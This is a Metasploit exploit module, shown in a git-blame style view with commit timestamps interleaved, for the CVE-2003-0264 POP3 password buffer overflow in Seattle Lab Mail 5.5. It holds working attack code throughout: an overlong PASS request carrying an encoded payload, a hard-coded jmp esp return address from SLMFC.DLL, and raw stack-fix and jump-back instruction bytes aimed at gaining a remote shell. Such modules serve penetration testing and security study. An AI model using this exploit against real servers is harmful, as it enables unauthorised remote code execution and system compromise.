2007-02-18 00:10:39 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2007-01-07 06:27:17 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GreatRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
There exists an unauthenticated buffer overflow vulnerability
|
|
|
|
in the POP3 server of Seattle Lab Mail 5.5 when sending a password
|
|
|
|
with excessive length.
|
|
|
|
|
|
|
|
Successful exploitation should not crash either the
|
|
|
|
service or the server; however, after initial use the
|
|
|
|
port cannot be reused for successive exploitation until
|
|
|
|
the service has been restarted. Consider using a command
|
|
|
|
execution payload following the bind shell to restart
|
|
|
|
the service if you need to reuse the same port.
|
|
|
|
|
|
|
|
The overflow appears to occur in the debugging/error reporting
|
|
|
|
section of the slmail.exe executable, and there are multiple
|
|
|
|
offsets that will lead to successful exploitation. This exploit
|
|
|
|
uses 2606, the offset that creates the smallest overall payload.
|
|
|
|
The other offset is 4654.
|
|
|
|
|
|
|
|
The return address is overwritten with a "jmp esp" call from the
|
|
|
|
application library SLMFC.DLL found in %SYSTEM%\\system32\\. This
|
|
|
|
return address works against all version of Windows and service packs.
|
|
|
|
|
|
|
|
The last modification date on the library is dated 06/02/99. Assuming
|
|
|
|
that the code where the overflow occurs has not changed in some time,
|
|
|
|
prior version of SLMail may also be vulnerable with this exploit. The
|
|
|
|
author has not been able to acquire older versions of SLMail for
|
|
|
|
testing purposes. Please let us know if you were able to get this
|
|
|
|
exploit working against other SLMail versions.
|
|
|
|
},
|
|
|
|
'Author' => 'stinko',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2003-0264'],
|
2016-07-15 17:00:31 +00:00
|
|
|
['OSVDB', '11975'],
|
2013-08-30 21:28:54 +00:00
|
|
|
['BID', '7519'],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 600,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x20",
|
|
|
|
'MinNops' => 100,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Windows NT/2000/XP/2003 (SLMail 5.5)', { 'Ret' => 0x5f4a358f, 'Offset' => 2606 } ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'May 07 2003',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(110)
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")
|
|
|
|
|
|
|
|
banner = sock.get_once || ''
|
|
|
|
if banner !~ /^\+OK POP3 server (.*) ready/
|
|
|
|
print_error("POP3 server does not appear to be running")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
sock.put("USER #{rand_text_alphanumeric(10)}\r\n")
|
|
|
|
banner = sock.get_once
|
|
|
|
if banner !~ /^\+OK (.*) welcome here/
|
|
|
|
print_error("POP3 server rejected username")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
request = "PASS " + rand_text_alphanumeric(target['Offset'] - payload.encoded.length)
|
|
|
|
request << payload.encoded
|
|
|
|
request << [target.ret].pack('V')
|
|
|
|
request << "\x81\xc4\xff\xef\xff\xff\x44" # fix the stack
|
|
|
|
request << "\xe9\xcb\xfd\xff\xff" # go back 560 bytes
|
|
|
|
request << rand_text_alphanumeric(512) # cruft
|
|
|
|
request << "\r\n"
|
|
|
|
|
|
|
|
sock.put(request)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2007-01-07 06:27:17 +00:00
|
|
|
|
2009-07-27 14:05:23 +00:00
|
|
|
end
|